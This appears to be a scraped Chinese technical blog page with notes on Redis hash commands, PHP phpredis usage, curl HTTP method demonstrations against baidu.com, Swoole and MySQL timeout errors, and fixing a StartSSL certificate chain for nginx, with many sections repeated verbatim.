redis 127.0.0.1:6379> hincrby myhash field -1
(integer) 5
#给myhash的field字段的值加-10,返回加后的结果。
redis 127.0.0.1:6379> hincrby myhash field -10
(integer) -5
3. HGETALL/HKEYS/HVALS/HMGET/HMSET:
#删除该键,便于后面示例测试。
redis 127.0.0.1:6379> del myhash
(integer) 1
#为该键myhash,一次性设置多个字段,分别是field1 = "hello", field2 = "world"。
redis 127.0.0.1:6379> hmset myhash field1 "hello" field2 "world"
OK
#获取myhash键的多个字段,其中field3并不存在,因为在返回结果中与该字段对应的值为nil。
redis 127.0.0.1:6379> hmget myhash field1 field2 field3
1) "hello"
2) "world"
3) (nil)
#返回myhash键的所有字段及其值,从结果中可以看出,他们是逐对列出的。
redis 127.0.0.1:6379> hgetall myhash
1) "field1"
2) "hello"
3) "field2"
4) "world"
#仅获取myhash键中所有字段的名字。
redis 127.0.0.1:6379> hkeys myhash
1) "field1"
2) "field2"
#仅获取myhash键中所有字段的值。
redis 127.0.0.1:6379> hvals myhash
1) "hello"
2) "world"
来自:http://www.cnblogs.com/stephen-liu74/archive/2012/03/19/2352932.html
实践如下:
Redis学习手册(Hashes数据类型):
/usr/local/redis/bin/redis-cli -h 10.44.202.177 -p 6379
10.44.202.177:6379> hset myhash field1 "stephen"
(integer) 1
10.44.202.177:6379> hget myhash field1
"stephen"
10.44.202.177:6379> hget myhash field2
(nil)
10.44.202.177:6379> hset myhash field2 "liu"
(integer) 1
10.44.202.177:6379> hlen myhash
(integer) 2
10.44.202.177:6379> hexists myhash field1
(integer) 1
10.44.202.177:6379>
10.44.202.177:6379> hdel myhash field1
(integer) 1
10.44.202.177:6379> hdel myhash field1
(integer) 0
10.44.202.177:6379> hexists myhash field1
(integer) 0
10.44.202.177:6379> hsetnx myhash field1 stephen
(integer) 1
10.44.202.177:6379> hsetnx myhash field1 stephen
(integer) 0
10.44.202.177:6379> del myhash
(integer) 1
10.44.202.177:6379> hset myhash field 5
(integer) 1
10.44.202.177:6379> hincrby myhash field 1
(integer) 6
10.44.202.177:6379> hincrby myhash field -1
(integer) 5
10.44.202.177:6379> hincrby myhash field -10
(integer) -5
10.44.202.177:6379> del myhash
(integer) 1
10.44.202.177:6379> hmset myhash field1 "hello" field2 "world"
OK
10.44.202.177:6379> hmget myhash field1 field2 field3
1) "hello"
2) "world"
3) (nil)
10.44.202.177:6379> hgetall myhash
1) "field1"
2) "hello"
3) "field2"
4) "world"
10.44.202.177:6379> hkeys myhash
1) "field1"
2) "field2"
10.44.202.177:6379> hvals myhash
1) "hello"
2) "world"
PHP如何设置Hash:
<?php
$redis = new redis();
$redis->connect('10.51.77.34', 6379);
$redis->delete('test');
$redis->hset('test', 'key1', 'hello');
echo $redis->hget('test', 'key1'); //结果:hello
echo "<br>";
$redis->hSetNx('test', 'key1', 'world');
echo $redis->hget('test', 'key1'); //结果:hello
$redis->delete('test');
$redis->hSetNx('test', 'key1', 'world');
echo "<br>";
echo $redis->hget('test', 'key1'); //结果:world
echo $redis->hlen('test'); //结果:1
var_dump($redis->hdel('test','key1')); //结果:bool(true)
$redis->delete('test');
$redis->hSet('test', 'a', 'x');
$redis->hSet('test', 'b', 'y');
$redis->hSet('test', 'c', 'z');
print_r($redis->hkeys('test')); //结果:Array ( [0] => a [1] => b [2] => c )
print_r($redis->hvals('test')); //结果:Array ( [0] => x [1] => y [2] => z )
print_r($redis->hgetall('test')); //结果:Array ( [a] => x [b] => y [c] => z )
var_dump($redis->hExists('test', 'a')); //结果:bool(true)
$redis->delete('test');
echo $redis->hIncrBy('test', 'a', 3); //结果:3
echo $redis->hIncrBy('test', 'a', 1); //结果:4
$redis->delete('test');
var_dump($redis->hmset('test', array('name' =>'tank', 'sex'=>"man"))); //结果:bool(true)
print_r($redis->hmget('test', array('name', 'sex'))); //结果:Array ( [name] => tank [sex] => man )
$redis->hSet("hashA", "name", "iname");
$redis->hSet("hashA", "age", "age");
// 同时设置多个值
$redis->hMset("hashA", [
"gender" => "male",
"salary" => 12000
]);
$redis->hGet("hashA", "salary");
// 获得多个值
var_dump($redis->hMGet("hashA", ["name", "gender"]));
?>
php redishash.php
hello<br>hello<br>world1int(1)
Array
(
[0] => a
[1] => b
[2] => c
)
Array
(
[0] => x
[1] => y
[2] => z
)
Array
(
[a] => x
[b] => y
[c] => z
)
bool(true)
34bool(true)
Array
(
[name] => tank
[sex] => man
)
array(2) {
["name"]=>
string(5) "iname"
["gender"]=>
string(4) "male"
}
来自:http://blog.csdn.net/qjwcn/article/details/45293035
内容:
curl -XGET http://baidu.com
GET / HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
HTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 03:56:42 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: '51-47cf7e6ee8400'
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 03:56:42 GMT
Connection: Keep-Alive
Content-Type: text/html
<html>
<meta http-equiv='refresh' content='0;url=http://www.baidu.com/'>
</html>
curl -XPOST http://baidu.com
POST / HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
HTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 03:59:50 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: '51-47cf7e6ee8400'
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 03:59:50 GMT
Connection: Keep-Alive
Content-Type: text/html
<html>
<meta http-equiv='refresh' content='0;url=http://www.baidu.com/'>
</html>
Post加个参数:
curl -XPOST http://baidu.com -d'say=hello'
POST / HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
Content-Length: 9
Content-Type: application/x-www-form-urlencoded
say=helloHTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 04:03:47 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: '51-47cf7e6ee8400'
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 04:03:47 GMT
Connection: Keep-Alive
Content-Type: text/html
<html>
<meta http-equiv='refresh' content='0;url=http://www.baidu.com/'>
</html>
Get里加个参数:
curl -XGET http://baidu.com?say=hello
GET /?say=hello HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
HTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 04:05:06 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: '51-47cf7e6ee8400'
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 04:05:06 GMT
Connection: Keep-Alive
Content-Type: text/html
<html>
<meta http-equiv='refresh' content='0;url=http://www.baidu.com/'>
</html>
curl -XGET http://baidu.com
GET / HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
HTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 03:56:42 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: '51-47cf7e6ee8400'
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 03:56:42 GMT
Connection: Keep-Alive
Content-Type: text/html
<html>
<meta http-equiv='refresh' content='0;url=http://www.baidu.com/'>
</html>
curl -XPOST http://baidu.com
POST / HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
HTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 03:59:50 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: '51-47cf7e6ee8400'
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 03:59:50 GMT
Connection: Keep-Alive
Content-Type: text/html
<html>
<meta http-equiv='refresh' content='0;url=http://www.baidu.com/'>
</html>
Post加个参数:
curl -XPOST http://baidu.com -d'say=hello'
POST / HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
Content-Length: 9
Content-Type: application/x-www-form-urlencoded
say=helloHTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 04:03:47 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: '51-47cf7e6ee8400'
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 04:03:47 GMT
Connection: Keep-Alive
Content-Type: text/html
<html>
<meta http-equiv='refresh' content='0;url=http://www.baidu.com/'>
</html>
Get里加个参数:
curl -XGET http://baidu.com?say=hello
GET /?say=hello HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
HTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 04:05:06 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: '51-47cf7e6ee8400'
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 04:05:06 GMT
Connection: Keep-Alive
Content-Type: text/html
<html>
<meta http-equiv='refresh' content='0;url=http://www.baidu.com/'>
</html>
内容:
curl -XGET http://baidu.com
GET / HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
HTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 03:56:42 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: "51-47cf7e6ee8400"
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 03:56:42 GMT
Connection: Keep-Alive
Content-Type: text/html
<html>
<meta http-equiv="refresh" content="0;url=http://www.baidu.com/">
</html>
curl -XPOST http://baidu.com
POST / HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
HTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 03:59:50 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: "51-47cf7e6ee8400"
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 03:59:50 GMT
Connection: Keep-Alive
Content-Type: text/html
<html>
<meta http-equiv="refresh" content="0;url=http://www.baidu.com/">
</html>
Post加个参数:
curl -XPOST http://baidu.com -d"say=hello"
POST / HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
Content-Length: 9
Content-Type: application/x-www-form-urlencoded
say=helloHTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 04:03:47 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: "51-47cf7e6ee8400"
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 04:03:47 GMT
Connection: Keep-Alive
Content-Type: text/html
<html>
<meta http-equiv="refresh" content="0;url=http://www.baidu.com/">
</html>
Get里加个参数:
curl -XGET http://baidu.com?say=hello
GET /?say=hello HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
HTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 04:05:06 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: "51-47cf7e6ee8400"
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 04:05:06 GMT
Connection: Keep-Alive
Content-Type: text/html
<html>
<meta http-equiv="refresh" content="0;url=http://www.baidu.com/">
</html>
curl -XGET http://baidu.com
GET / HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
HTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 03:56:42 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: "51-47cf7e6ee8400"
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 03:56:42 GMT
Connection: Keep-Alive
Content-Type: text/html
<html>
<meta http-equiv="refresh" content="0;url=http://www.baidu.com/">
</html>
curl -XPOST http://baidu.com
POST / HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
HTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 03:59:50 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: "51-47cf7e6ee8400"
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 03:59:50 GMT
Connection: Keep-Alive
Content-Type: text/html
<html>
<meta http-equiv="refresh" content="0;url=http://www.baidu.com/">
</html>
Post加个参数:
curl -XPOST http://baidu.com -d"say=hello"
POST / HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
Content-Length: 9
Content-Type: application/x-www-form-urlencoded
say=helloHTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 04:03:47 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: "51-47cf7e6ee8400"
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 04:03:47 GMT
Connection: Keep-Alive
Content-Type: text/html
<html>
<meta http-equiv="refresh" content="0;url=http://www.baidu.com/">
</html>
Get里加个参数:
curl -XGET http://baidu.com?say=hello
GET /?say=hello HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
HTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 04:05:06 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: "51-47cf7e6ee8400"
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 04:05:06 GMT
Connection: Keep-Alive
Content-Type: text/html
<html>
<meta http-equiv="refresh" content="0;url=http://www.baidu.com/">
</html>
zm_deactivate_swoole: worker process is terminated by exit()/die()
Swoole专题研究 jackxiang 2017-6-24 12:32
Q:我在frame里面用了add processs以后,就一直出现这个错误。不断的有新的进程,刷屏。
A:你创建的进程应该没有任何代码,所以立即退出了,主进程又会重新拉起。这样就造成死循环了。
http://group.swoole.com/question/105990
Me:
[2017-04-23 00:04:26 @10362.0] ERROR zm_deactivate_swoole (ERROR 9003): worker process is terminated by exit()/die().
[2017-04-23 00:04:26 @10363.0] ERROR zm_deactivate_swoole (ERROR 9003): worker process is terminated by exit()/die().
A:你创建的进程应该没有任何代码,所以立即退出了,主进程又会重新拉起。这样就造成死循环了。
http://group.swoole.com/question/105990
Me:
[2017-04-23 00:04:26 @10362.0] ERROR zm_deactivate_swoole (ERROR 9003): worker process is terminated by exit()/die().
[2017-04-23 00:04:26 @10363.0] ERROR zm_deactivate_swoole (ERROR 9003): worker process is terminated by exit()/die().
刚升级了下VPS到2G,那个GitLab真耗内存:发现内存很重要,会影响CPU负载和磁盘的IO,因为内存不够系统会把磁盘当内存,进而CPU和磁盘都忙起来了,性能上不去,出现IO负载高。 -swoole顾问 2017 1st 语录
然而你如果了解硬件会发现磁盘并不能当内存用,存的只是地址
是的,所以,钱能解决问题的,别去技术解决,我用自己的VPS实践发现的,想各种优化都不行,还是花钱买内存解决了。现象:每次jenkins 去pull git把我那台git的机器pull 成高负载了,jenkins出现504错误。
而且内存不足的话linux的oom-killer机制会杀掉一些进程释放内存,虚拟内存搞了一个1024M,用了近1G,这个gitlab吃内存呐,可不是省油的灯呐。
可能源码安装要好一些,好在像MySQL/Redis可以分开在不同的机器上:
源码安装Gitlab8.16自己参考链接:http://jackxiang.com/post/4318/
然而你如果了解硬件会发现磁盘并不能当内存用,存的只是地址
是的,所以,钱能解决问题的,别去技术解决,我用自己的VPS实践发现的,想各种优化都不行,还是花钱买内存解决了。现象:每次jenkins 去pull git把我那台git的机器pull 成高负载了,jenkins出现504错误。
而且内存不足的话linux的oom-killer机制会杀掉一些进程释放内存,虚拟内存搞了一个1024M,用了近1G,这个gitlab吃内存呐,可不是省油的灯呐。
可能源码安装要好一些,好在像MySQL/Redis可以分开在不同的机器上:
源码安装Gitlab8.16自己参考链接:http://jackxiang.com/post/4318/
问题现象:在tail -f /data/logs/mysql/error.log日志中出现大量的如下信息(web用的是Zabbix,设置连接超时时间为100秒):
' host: 'localhost' (Got timeout reading communication packets)
2017-02-05T15:30:19.272811+08:00 28546 [Note] Aborted connection 28546 to db: 'zabbix' user: 'zabbix' host: 'localhost' (Got timeout reading communication packets)
2017-02-05T15:30:22.388624+08:00 28547 [Note] Aborted connection 28547 to db: 'zabbix' user: 'zabbix' host: 'localhost' (Got timeout reading communication packets)
2017-02-05T15:30:27.119216+08:00 28554 [Note] Aborted connection 28554 to db: 'zabbix' user: 'zabbix' host: 'localhost' (Got timeout reading communication packets)
解决办法:
修改[root@lovebuy114 ~]# grep timeout /etc/my.cnf
interactive_timeout = 120
wait_timeout = 120
log_warnings=1 //注意,我这里原来是2。修改成1后,问题现象果然但是已经不存在了。
在命令行中可以这样修改:
mysql>set global log_warning=1;
mysql>set global interactive_timeout = 120;
mysql>set global wait_timeout = 120;
参数简要说明:
1)interactive_timeout:
参数含义:服务器关闭交互式连接前等待活动的秒数。交互式客户端定义为在mysql_real_connect()中使用CLIENT_INTERACTIVE选项的客户端。
参数默认值:28800秒(8小时)
解决无Notice的办法:
grep timeout /etc/my.cnf innodb_lock_wait_timeout = 60
interactive_timeout = 28800
wait_timeout = 22
grep log_warnings /etc/my.cnflog_warnings=2
From:http://blog.csdn.net/jamesyao008/article/details/45098073
修改后,无效,原因是现在是变成了Notice,不是警告:
tail -f /data/logs/mysql/error.log
2017-02-05T15:38:19.678134+08:00 128 [Note] Aborted connection 128 to db: 'zabbix' user: 'zabbix' host: 'localhost' (Got timeout reading communication packets)
2017-02-05T15:38:22.452504+08:00 131 [Note] Aborted connection 131 to db: 'zabbix' user: 'zabbix' host: 'localhost' (Got timeout reading communication packets)
' host: 'localhost' (Got timeout reading communication packets)
2017-02-05T15:30:19.272811+08:00 28546 [Note] Aborted connection 28546 to db: 'zabbix' user: 'zabbix' host: 'localhost' (Got timeout reading communication packets)
2017-02-05T15:30:22.388624+08:00 28547 [Note] Aborted connection 28547 to db: 'zabbix' user: 'zabbix' host: 'localhost' (Got timeout reading communication packets)
2017-02-05T15:30:27.119216+08:00 28554 [Note] Aborted connection 28554 to db: 'zabbix' user: 'zabbix' host: 'localhost' (Got timeout reading communication packets)
解决办法:
修改[root@lovebuy114 ~]# grep timeout /etc/my.cnf
interactive_timeout = 120
wait_timeout = 120
log_warnings=1 //注意,我这里原来是2。修改成1后,问题现象果然但是已经不存在了。
在命令行中可以这样修改:
mysql>set global log_warning=1;
mysql>set global interactive_timeout = 120;
mysql>set global wait_timeout = 120;
参数简要说明:
1)interactive_timeout:
参数含义:服务器关闭交互式连接前等待活动的秒数。交互式客户端定义为在mysql_real_connect()中使用CLIENT_INTERACTIVE选项的客户端。
参数默认值:28800秒(8小时)
解决无Notice的办法:
grep timeout /etc/my.cnf innodb_lock_wait_timeout = 60
interactive_timeout = 28800
wait_timeout = 22
grep log_warnings /etc/my.cnflog_warnings=2
From:http://blog.csdn.net/jamesyao008/article/details/45098073
修改后,无效,原因是现在是变成了Notice,不是警告:
tail -f /data/logs/mysql/error.log
2017-02-05T15:38:19.678134+08:00 128 [Note] Aborted connection 128 to db: 'zabbix' user: 'zabbix' host: 'localhost' (Got timeout reading communication packets)
2017-02-05T15:38:22.452504+08:00 131 [Note] Aborted connection 131 to db: 'zabbix' user: 'zabbix' host: 'localhost' (Got timeout reading communication packets)
实践如下:
wget https://startssl.com/certs/ca.crt
2017-04-05 16:13:14 (436 MB/s) - 已保存 “ca.crt” [2804/2804])
wget https://startssl.com/certs/sca.server1.crt
2017-04-05 16:14:38 (347 MB/s) - 已保存 “sca.server1.crt” [2140/2140])
#cat server.crt ca.crt sca.server1.crt > servernew.crt
cat xdxp.crt ca.crt sca.server1.crt > xdxpnew.crt
#mv xdxpnew.crt ../xdxp.crt
mv:是否覆盖"xdxp.crt"? y
sh /root/startnginx.sh
————————————————————————————————————————————————————————————————————
从2016年的11月份开始,firefox \ chrome \ apple 等陆续不再信任 StartSSL 的证书,导致一些使用 StartSSL 的证书的网站访问遇到了麻烦,
firefox V50.以后访问 StartSSL 的证书网站会提示 “ 对等端的证书已被废除。 (错误代码:sec_error_revoked_certificate)。” 就是按下面的方法重新配置服务端也未必见效,
删除FIREFOX的 STARTSSL证书后从新安装还行 。 所以有必要更换 StartSSL 证书。
http://www.wangchunjian.win/2017/02/04/解决Firefox不信任StartSSL证书问题/
解决Firefox不信任StartSSL证书问题
在 Startssl 注册好证书 nginx 下配置好生效后,firefox出现 对等端的证书已被废除。 (错误代码:sec_error_revoked_certificate)。其实并不是火狐不支持,而是服务器端没有配置好。
解决方法:
1 下载根证书ca.crt wget https://startssl.com/certs/ca.crt
描述:此根CA是用于所有证书的根,必须包含在根目录中。
2 下载Startssl Class 1的根证书 sca.server1.crt
wget https://startssl.com/certs/sca.server1.crt
3 cat server.crt ca.crt sca.server1.crt > servernew.crt
server.crt 是域名的证书,后面合并的俩文件是下载的Startssl根证书和Startssl Class1根证书
现在可以正常访问了。
来自:http://blog.csdn.net/tty521/article/details/55652168
wget https://startssl.com/certs/ca.crt
2017-04-05 16:13:14 (436 MB/s) - 已保存 “ca.crt” [2804/2804])
wget https://startssl.com/certs/sca.server1.crt
2017-04-05 16:14:38 (347 MB/s) - 已保存 “sca.server1.crt” [2140/2140])
#cat server.crt ca.crt sca.server1.crt > servernew.crt
cat xdxp.crt ca.crt sca.server1.crt > xdxpnew.crt
#mv xdxpnew.crt ../xdxp.crt
mv:是否覆盖"xdxp.crt"? y
sh /root/startnginx.sh
————————————————————————————————————————————————————————————————————
从2016年的11月份开始,firefox \ chrome \ apple 等陆续不再信任 StartSSL 的证书,导致一些使用 StartSSL 的证书的网站访问遇到了麻烦,
firefox V50.以后访问 StartSSL 的证书网站会提示 “ 对等端的证书已被废除。 (错误代码:sec_error_revoked_certificate)。” 就是按下面的方法重新配置服务端也未必见效,
删除FIREFOX的 STARTSSL证书后从新安装还行 。 所以有必要更换 StartSSL 证书。
http://www.wangchunjian.win/2017/02/04/解决Firefox不信任StartSSL证书问题/
解决Firefox不信任StartSSL证书问题
在 Startssl 注册好证书 nginx 下配置好生效后,firefox出现 对等端的证书已被废除。 (错误代码:sec_error_revoked_certificate)。其实并不是火狐不支持,而是服务器端没有配置好。
解决方法:
1 下载根证书ca.crt wget https://startssl.com/certs/ca.crt
描述:此根CA是用于所有证书的根,必须包含在根目录中。
2 下载Startssl Class 1的根证书 sca.server1.crt
wget https://startssl.com/certs/sca.server1.crt
3 cat server.crt ca.crt sca.server1.crt > servernew.crt
server.crt 是域名的证书,后面合并的俩文件是下载的Startssl根证书和Startssl Class1根证书
现在可以正常访问了。
来自:http://blog.csdn.net/tty521/article/details/55652168
只用js如何更有效的获取服务器时间看「百度都能一分钟搜索的面试题」帖子有感
Php/Js/Shell/Go jackxiang 2017-6-24 12:22
得到deltaTime 之后,随时可以用 客户端时间 + deltaTime,从而得到服务器时间
Date:Thu, 16 Mar 2017 05:36:57 GMT
_____________________________
是这个 GMT +8小时嘛 13:41:48 刚刚好 北京时间
_____________________________
HTTP/1.1 200 OK
Server: Qnginx/1.4.0
Date: Thu, 16 Mar 2017 05:36:57 GMT
Content-Type: text/html;charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Content-Encoding: gzip
Vary: Accept-Encoding
X-NWS-LOG-UUID: 67e5ac2e-982e-4881-9066-c1564fa76005
PHP的CURL也有一个参数可只要头,不要Body:
http://justwinit.cn/post/6818/
PHP7使用交流群里讨论,我贴下地址:
https://www.oschina.net/question/260395_246269
http://bbs.chinaunix.net/thread-3675366-1-1.html
Date:Thu, 16 Mar 2017 05:36:57 GMT
_____________________________
是这个 GMT +8小时嘛 13:41:48 刚刚好 北京时间
_____________________________
HTTP/1.1 200 OK
Server: Qnginx/1.4.0
Date: Thu, 16 Mar 2017 05:36:57 GMT
Content-Type: text/html;charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Content-Encoding: gzip
Vary: Accept-Encoding
X-NWS-LOG-UUID: 67e5ac2e-982e-4881-9066-c1564fa76005
PHP的CURL也有一个参数可只要头,不要Body:
http://justwinit.cn/post/6818/
PHP7使用交流群里讨论,我贴下地址:
https://www.oschina.net/question/260395_246269
http://bbs.chinaunix.net/thread-3675366-1-1.html
curl -XGET http://baidu.com和 curl -XPOST http://baidu.com的Tcp流区别,PUT创建新的实体。
Php/Js/Shell/Go jackxiang 2017-6-24 12:21
curl -XGET http://baidu.com
GET / HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
HTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 03:56:42 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: "51-47cf7e6ee8400"
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 03:56:42 GMT
Connection: Keep-Alive
Content-Type: text/html
<html>
<meta http-equiv="refresh" content="0;url=http://www.baidu.com/">
</html>
curl -XPOST http://baidu.com
POST / HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
HTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 03:59:50 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: "51-47cf7e6ee8400"
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 03:59:50 GMT
Connection: Keep-Alive
Content-Type: text/html
<html>
<meta http-equiv="refresh" content="0;url=http://www.baidu.com/">
</html>
Post加个参数:
curl -XPOST http://baidu.com -d"say=hello"
POST / HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
Content-Length: 9
Content-Type: application/x-www-form-urlencoded
say=helloHTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 04:03:47 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: "51-47cf7e6ee8400"
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 04:03:47 GMT
Connection: Keep-Alive
Content-Type: text/html
<html>
<meta http-equiv="refresh" content="0;url=http://www.baidu.com/">
</html>
Get里加个参数:
curl -XGET http://baidu.com?say=hello
GET /?say=hello HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
HTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 04:05:06 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: "51-47cf7e6ee8400"
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 04:05:06 GMT
Connection: Keep-Alive
Content-Type: text/html
<html>
<meta http-equiv="refresh" content="0;url=http://www.baidu.com/">
</html>
curl -XPUT http://baidu.com?say=hello
curl: (52) Empty reply from server
Head头:
PUT /?say=hello HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
加点参数看看,其-d参数和Post一样的位置:
curl -XPUT http://baidu.com?say=hello -d'{"title":"new version of elasticsearch released!","content":"Ver 1.0 released today!","tags":["announce","elasticsearch","release"]}'
curl: (52) Empty reply from server
PUT /?say=hello HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
Content-Length: 132
Content-Type: application/x-www-form-urlencoded
{"title":"new version of elasticsearch released!","content":"Ver 1.0 released today!","tags":["announce","elasticsearch","release"]}
curl -XDELETE http://baidu.com/blog/article/1
curl: (52) Empty reply from server
DELETE /blog/article/1 HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
GET / HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
HTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 03:56:42 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: "51-47cf7e6ee8400"
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 03:56:42 GMT
Connection: Keep-Alive
Content-Type: text/html
<html>
<meta http-equiv="refresh" content="0;url=http://www.baidu.com/">
</html>
curl -XPOST http://baidu.com
POST / HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
HTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 03:59:50 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: "51-47cf7e6ee8400"
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 03:59:50 GMT
Connection: Keep-Alive
Content-Type: text/html
<html>
<meta http-equiv="refresh" content="0;url=http://www.baidu.com/">
</html>
Post加个参数:
curl -XPOST http://baidu.com -d"say=hello"
POST / HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
Content-Length: 9
Content-Type: application/x-www-form-urlencoded
say=helloHTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 04:03:47 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: "51-47cf7e6ee8400"
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 04:03:47 GMT
Connection: Keep-Alive
Content-Type: text/html
<html>
<meta http-equiv="refresh" content="0;url=http://www.baidu.com/">
</html>
Get里加个参数:
curl -XGET http://baidu.com?say=hello
